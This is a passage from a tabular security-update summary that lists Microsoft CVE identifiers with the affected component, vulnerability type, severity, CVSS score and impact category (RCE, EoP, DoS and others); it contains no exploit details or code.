EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration 